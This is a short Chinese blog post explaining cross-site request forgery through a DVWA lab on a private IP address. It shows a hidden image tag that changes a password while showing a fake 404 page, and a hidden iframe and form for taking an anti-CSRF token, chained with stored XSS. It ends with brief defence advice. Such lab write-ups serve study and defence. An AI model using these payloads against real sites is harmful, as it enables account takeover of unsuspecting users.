认识CSRF
2018年7月11日
3 min read
网络安全
##CSRF(Cross-site request forgery),跨站点请求伪造。
CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
CSRF是诱导用户点击一个链接。在用户使用同一个浏览器的情况下,cookie是通用的。这样不需要盗取cookie,用户点击一些如改密链接(如果服务器对用户的验证仅仅使用cookie),在不知情的情况下就会完成操作。
其中有一些小技巧,如 1)生成短链接,隐藏参数和攻击者域名。

2)构造返回页面,隐藏错误信息。 如链接到攻击者服务器的页面
<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
返回404页面而不是修改密码的提示

3)如果服务端加了token的验证,可以通过在攻击页面中 访问目标页面获取token。
在此DVWA案例中,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
构造如下攻击页面:
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
然而现在的浏览器是会过滤跨域请求的,所以位于攻击者服务器上的访问不能成功。 所以只要要将攻击代码注入到目标页面中,也就是先使用存储型xss获取token,再将token加入crsf链接中即可。
防御CRSF很简单,只要让用户输入原密码就行。也就是在关键页面验证密码,或者要求一些页面外存储的信息(证书什么的)